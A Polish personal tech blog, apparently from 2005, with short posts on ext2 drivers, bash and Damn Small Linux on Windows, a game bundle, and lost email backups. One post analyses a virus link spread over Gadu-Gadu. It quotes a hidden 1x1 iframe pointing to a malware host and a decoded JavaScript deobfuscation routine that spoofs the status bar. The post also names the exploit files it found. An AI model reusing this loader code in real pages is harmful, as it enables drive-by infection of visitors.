Michał Moroz

Abecadło smoczątka, dziennik niecodzienny

Ext2/Ext3 na Windows

Mój komputer i linuksowe partycje

Jeśli ktoś przespał, zapomniał, czy też nie uświadamia sobie w ogóle takiej możliwości, przypominam - pod Windowsem NT i jego pochodnymi można używać partycji ext2/ext3 i to nie gorzej, niż FAT32. Pełny zapis/odczyt, obliczanie ilości zajętego miejsca, tworzenie, przesuwanie i usuwanie plików zapewnione.

Warto także wiedzieć, że literki podmontowanych partycji można zmieniać, wybierając opcję `IFS Drives' w Panelu Sterowania.

Strona projektu.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

ConceptDraw Mindmapping

Do hamerykańskiej północy (u nas to chyba szósta dziewiąta rano, czy coś w tym stylu) można zaopatrzyć się legalnie w darmową wersję narzędzia do tworzenia map myśli: ConceptDraw MINDMAP Personal. Więcej o mapach myśli można poczytać u Belloisa.

Kilka minut spędzonych z narzędziem daje dość przyjemne wrażenia. Ale to tylko kilka minut - używasz na własne ryzyko! ;)

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Earth Universe

Na Earth Universe natrafiłem przypadkiem, buszując po MediaMarkcie. Ze względu na znajomość serii Earth 21xx, obejrzałem dokładniej produkt. Nie wiedziałem, czego oczekiwać, sama nazwa nie kojarzyła mi się z żadną z poszczególnych gier...

Okazało się, że w pudełku znajduje się cała seria, począwszy od Earth 2140 z dodatkiem Mission Pack, poprzez Earth 2150, z dwoma oddzielnymi dodatkami (The Moon Project oraz Lost Souls), po Earth 2160.

W porównaniu z zachodnim wydaniem, zawierającym jeszcze SDK dla Earth 2150 i 2160, koszulkę, długopis, organizer i obszerną dokumentację, nadal wypada to ubogo. Jednak cena pięćdziesięciu złotych za trzy gry i jakieś sześć, czy siedem kampanii jest kusząco niska w porównaniu do cen, którymi nas przyzwyczajają producenci gier zza granicy. Pewnym plusem jest fakt, że umieszczono jako dodatek Emergency 3 - Mission: Life, co nie zmienia faktu, że wolałbym jednak dostać np. organizer z logo Eartha. :)

Podsumowując - obowiązek dla fanów serii (o ile wcześniej nie kupili poszczególnych gier) oraz pozycja warta zauważenia dla wszystkich, którzy lubią pograć w gry strategiczne.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Bash na Windows

Bash na Windows

Bardzo przydatna rzecz, kiedy z przyzwyczajenia wklepując ls dowiadujemy się niespodziewanie, że dany program nie istnieje. Praca z konsolą Windows staje się wtedy o wiele przyjemniejsza.

Co nam potrzebne?

Wymagane.

Dodatki - nie są potrzebne, ale mogą być użyteczne.

Jak poskładać to wszystko razem?

Na początku instalujemy wszystkie wybrane przez nas pakiety z GnuWin32. Niczego nie trzeba zmieniać na tym etapie.

Kolejną rzeczą może być zainstalowanie Dev-Cpp, jeśli go potrzebujemy. Tu też nie ma się co martwić o miejsce instalacji - śmiało wybieramy domyślne.

Po przeczytaniu readme od basha, dowiadujemy się, że należy poczynić kilka kroków. Tak więc kopiujemy bash.exe i bash.dll do katalogu bin pakietu GnuWin32 (domyślnie C:\Program Files\GniWin32\bin). Teraz trzeba wstawić gdzieś .bashrc - dla Windowsów NT i wyższych, powinno się skopiować go do katalogu %UserProfile%, w 9x nie ma to znaczenia. Przydatnym wydaje się stworzenie katalogu C:\tmp, inaczej bash będzie wyrzucać ostrzeżenie podczas uruchamiania.

Na koniec - musimy dodać zmienną HOME (dla WinNT ustawiamy jako %UserProfile%, dla Win9x podajemy miejsce, gdzie leży nasz .bashrc) oraz PATH (dodajemy ścieżkę do katalogu bin instalacji GnuWin32 oraz Dev-Cpp). Dla 9x wpisujemy SET zmienna=ścieżka w autorun.bat (w przypadku PATH dopisujemy odpowiednie ścieżki zakończone średnikiem), w WinNT istnieje narzędzie (Mój Komputer -> Właściwości: System -> Zaawansowane -> Zmienne środowiskowe), przy czym HOME wpisujemy do zmiennych użytkownika.

Miłego użytkowania powłoki bash pod Windows. ;)

1 Sądzę, że tą wersję basha jest najłatwiej zainstalować. Oczywiście można wybrać każdą inną.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Zaskakuje.

Ostatnio, zamiast ding.wav (standardowego dźwięku Windows), system uraczył mnie czymś przypominającym sygnał linii telefonicznej.

Lubię noize. Last.fm o tym wie. Węszę spisek. ;)

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Piekielnie Mały Linux - jak łatwo odpalić Linuksa na Win

Przeglądając wczoraj newsy na Siódmym, zauważyłem wzmiankę o tym, że Piekielnie Mały Linux (aka Damn Small Linux) może być odpalony z poziomu Windows. Zaciekawiło mnie to, postanowiłem w wolnej chwili sprawdzić, jak to działa.

Pierwsza ważna rzecz: Komfortowo pracuje się dopiero na konfiguracjach posiadających procesory powyżej 1,5GHz i 512MB RAM. To są minimalne parametry wymagane do wygodnego użytkowania systemu. Nie chcę tutaj mówić, że na słabszych komputerach się nie odpali - sam testowałem na Athlonie 750MHz i 256MB RAM z Windows 98. Mimo to podczas scrollowania użycie wirtualnego procesora (bodajże Pentium II 615MHz) wzrastało do stu procent, a na odpalenie jakiejś aplikacji czeka się ok. 10s.

Zalety - Piekielnie Mały Linux (spakowany) ma tylko 50MB, więc można go szybko ściągnąć i nie zajmuje dużo miejsca na dysku. Jest on bardzo łatwy w uruchomieniu - cała instrukcja sprowadza się do ściągnięcia dsl-embedded.zip, następnie rozpakowania do katalogu i odpalenia dsl-windows.bat z tegoż miejsca.

Wady - Mała szybkość. Emulowanie systemu wewnątrz innego bardzo spowalnia możliwości Piekielnie Małego Linuksa, dlatego polecam go tym, którzy mają mocne maszyny i zaczyna się im nudzić Windows. Także po uruchomieniu jest to zwykły Linux - tak więc ludzie, którzy się nigdy z nim nie spotkali mogą poczuć się całkowicie zdezorientowani. Bezpośrednio po uruchomieniu nie miałem skonfigurowanej sieci, ni zamontowanych windowsowych partycji, co początkujących mogłoby całkowicie zniechęcić. Zawsze jednak dzięki kombinacji Ctrl+Alt mogą powrócić do znanego sobie srodowiska.

Poza tymi wadami jest to ciekawa droga na poznanie alternatywnego systemu, wymagająca naprawdę niewiele od człowieka.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Uwaga wirus

No tak... doszło do tego, że siedzę w niedzielę i bawię się w rozgrzebywanie kodu wirusów.

Jeden z moich znajomych powiedział mi, że ten link prowadzi do wirusa, a pewna osoba podająca się jako Marta spamuje nim poprzez gadu (numer 9523477, możliwe też, że 9512753 i 7778035, chociaż mnie nie wysłano linka). Nie miałem nic do roboty, wiec zacząłem sprawdzać jak to działa.

Sama strona nie korzysta z jakiegoś bardzo oryginalnego sposobu - używa <iframe>.

Kod ładujący kolejną stronę:
<iframe src="http://85.255.113.4/dl/adv435.php" width=1 height=1>

Po wejściu na następną stronę w dole przeglądarki (Firefox) pokazuje się informacja o ładowaniu apletu. Zaglądając w źródło możemy dostrzec długaśny ciąg tekstowy zaszyfrowany w dość prosty sposób. Otóż znajduje się tam deklaracja funkcji przepuszczona poprzez escape() i faktyczny kod ramki zaszyfrowany przez tą funkcję.

Po krótkiej zabawie udało mi się rozkodować funkcję:
function dF(s)
{
	var s1 = unescape(s.substr(0, s.length - 1));
	var t='';
	for(i=0; i<s1.length; i++)	{
		t += String.fromCharCode(s1.charCodeAt(i) - s.substr(s.length - 1,1));
	}
	document.write(unescape(t));
	self.focus();
	setInterval("window.status='Google.com'",7);
}

Wystarczyło teraz zmienić < na &lt; aby wyświetlić kod strony w przeglądarce.

Wydaje mi się, że w tym miejscu znajduje się pięć potencjalnych zagrożeń - kursor o nazwie sploit.anr, obiekt x2, obiekt x3, aplet loaderadv435.jar oraz obiekt x.chm. Nie jestem jednak MVP i nie znam się aż tak głęboko na dziurach w Windows. Dlatego skończę w tym miejscu. Jeśli czegoś się dowiem, to dopiszę.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Bardzo małe czapy

Q: Co zrobić, kiedy Windows mówi, że nie chce się zainstalować, bo masz dziabniętą partycję?
A: Użyj fdisk.

Q: I co dalej?
A: Wkrótce. Już wkrótce.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Błogosławiona niewiedza

Nie ma to jak zabawa z partycjonowaniem systemu. Ponieważ ostatnio bardzo głupio podzieliłem swój dysk, to teraz musiałem zmienić rozmiar / i oczywiście przeformatować, co wiąże się ze stawianiem systemu od nowa. Apdejt właśnie sobie leci... leci... leci... jeszcze masa pakietów przede mną.

Instalator starszego Windowsa powiedział mi, że nie zainstaluje się na sformatowanej (z poziomu dosa - sic!) partycji, bo nie może przeczytać ostatniego klastra lub nie wspieram LBA. Ponieważ to drugie to czysta głupota, a przy pierwszym jakąś godzinę zajęłoby mi skanowanie tej partycji i drugą drugiej (mam nadzieję, że nie przyszłoby na myśl scandiskowi, żeby szukać dalej, po moich ext3), to wolę mieć chociaż jeden działający system.

Zaktualizowałem nośniki i nawet gajima nie mogę odpalić, bo prosi o biblioteki, których zainstalowanie i tak pociągnęłoby za sobą pół systemu.

W dodatku żadna z płyt z Mandrivą LE gdzieś z kwietnia, nie okazała się bootowalna. A z działających płyt 10.0 nie idzie przywrócić lilo. Czyli chyba przyda się dociągnąć jakiś obraz.

W ten sposób przez cały dzień jestem offline i nic nie wiem o bożym świecie.

Jak to miło było być niemyślącym ZU Windows...

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Jeden 'Kosz', a tak wiele znaczy

Windowsowi dziękuję za przenoszenie plików do Kosza. Nie wiem, czy jest to ich własny wymysł, czy też nie, ale dzisiaj nabrałem do tego wielkiego szacunku.

Otóż proste niby zdarzenie - chciałem sobie zainstalować starszy Windows, bo widzę, że XP niezbyt mi pasuje z tym pochłanianiem pamięci. No i jak zwykle nastał wczoraj czas backupowania wszystkiego, co potrzebne (z przyzwyczajejenia już formatuję partcje przy instalacji Windowsa, chociaż możliwe, iż tym razem będzie inaczej).

Czy już nie można spokojnie wysłać maila z exekiem w załączniku?

Wpadłem na pomysł wysłania sobie wszystkich ważnych rzeczy na Gmaila (z kilku powodów - bo niewiele to wszystko ważyło, jakieś kilkadziesiąt mega, bo tam nie ma prawa się nic stać, jak mi coś padnie, bo nie trzeba usuwać wiadomości, a dostęp jest łatwy, bo zawsze kombinuję, a tego jeszcze nie robiłem :P). Jako MTA wrzuciłem mój router (którego nadal nie chce mi się konfigurować, by wspierał autoryzację), bo tak będze szybciej. Wyśle się maile przez LAN, a potem niech się postfix martwi.

Potem zobaczyłem na gmailu, że kilka wiadomości nie doszło, ale pomyślałem, że może jeszcze do tego nie doszedł, albo wyśle w paczce o inne j porze.

Dzisiaj jednak nadal ich nie było. No nic, pomyślałem, trudno. Uważałem wtenczas, że straciłem tylko jeden mail z pewną gierką. Prawdę mówiąc zapomniałem o innych.

Sprawdzając pocztę na tym koncie, z którego wysyłałem, zauważyłem, że dostałem sześć wiadomości o podobnych nagłówkach:

Date: Wed, 10 Aug 2005 13:16:36 +0200 (CEST)
From: MAILER-DAEMON@hikari (Mail Delivery System)
Subject: Undelivered Mail Returned to Sender
To: coldevil(_)o2.pl

Reszta maila informowała, że nie udało się dostarczyć maila, bo zawierał pliki o "złych" rozszerzeniach. Wszystko pięknie, ale części danych nie zwrócono - chyba, że ślepy jestem.

Pochłonęło to większość moich projektów w Cpp i inne ciekawe programy, które sobie chciałem wysłać na maila. Pierwsza reakcja: panika. Potem: Przecież nic nie kopiowałem, tylko cały czas usuwałem pliki, więc powinno dać się je spokojnie odzyskać. Ale - czy na pewno? A siedmiusetmegowy obraz płyty? To możemy się jedynie modlić, aby były one na końcu partycji.

Po przejściu na Windows, którego nie usunąłem jeszcze uwagę moją przykuł Kosz (z dużej litery, bo jakżeby inaczej? :D). Przecież był zapełniony plikami, które usunąłem! No tak! Głupi zapomniałem o tak prostej opcji. A teraz wszystko sobie leży spakowane na partycji, której najprawdopodobniej nie będę usuwać.

Nowy stary Win - możliwe, że i w tym tygodniu.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

/me likes Apophysis 2 + Gimp 2

Niedługo będę musiał się przymusić i obejrzeć dokumentację od szablonów joggera. Przy okazji jeszcze zabrać się za coś sensownego w pehape (oj, perl za mało znany) na moją prywatną stronkę coldysith.no-ip.com (na razie tam jest tylko czyste Apache + kilka takich sobie plików). Za pomocą Apophysis i Gimpa można stworzyć bardzo ładne rzeczy, polecam tą konfigurację. Już wstępny layout został stworzony, więc z html mam tylko szabloniki do wygrzania. Tylko, że jak znam siebie, to i tak nie dokonończę tego.

To lenistwo, którym zotałem obdarzony, czsami jest przytłaczające. Poza tym mam tyle pomysłów, ze tylko niewiele z nich ma szanse zrealizowania w rzeczywistości. Niestety, to z w ogóle dokończonych projektów pamiętam najwięcej jako obowiązkowych prac do szkoły.

A ja lubię moje many
Bo mam z nimi jak u mamy
Jak przeczytam to i wiem
Nawet się pracować chce.

Oj, późna pora, chyba spać pójdę.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane
Na górę
Reklamy Google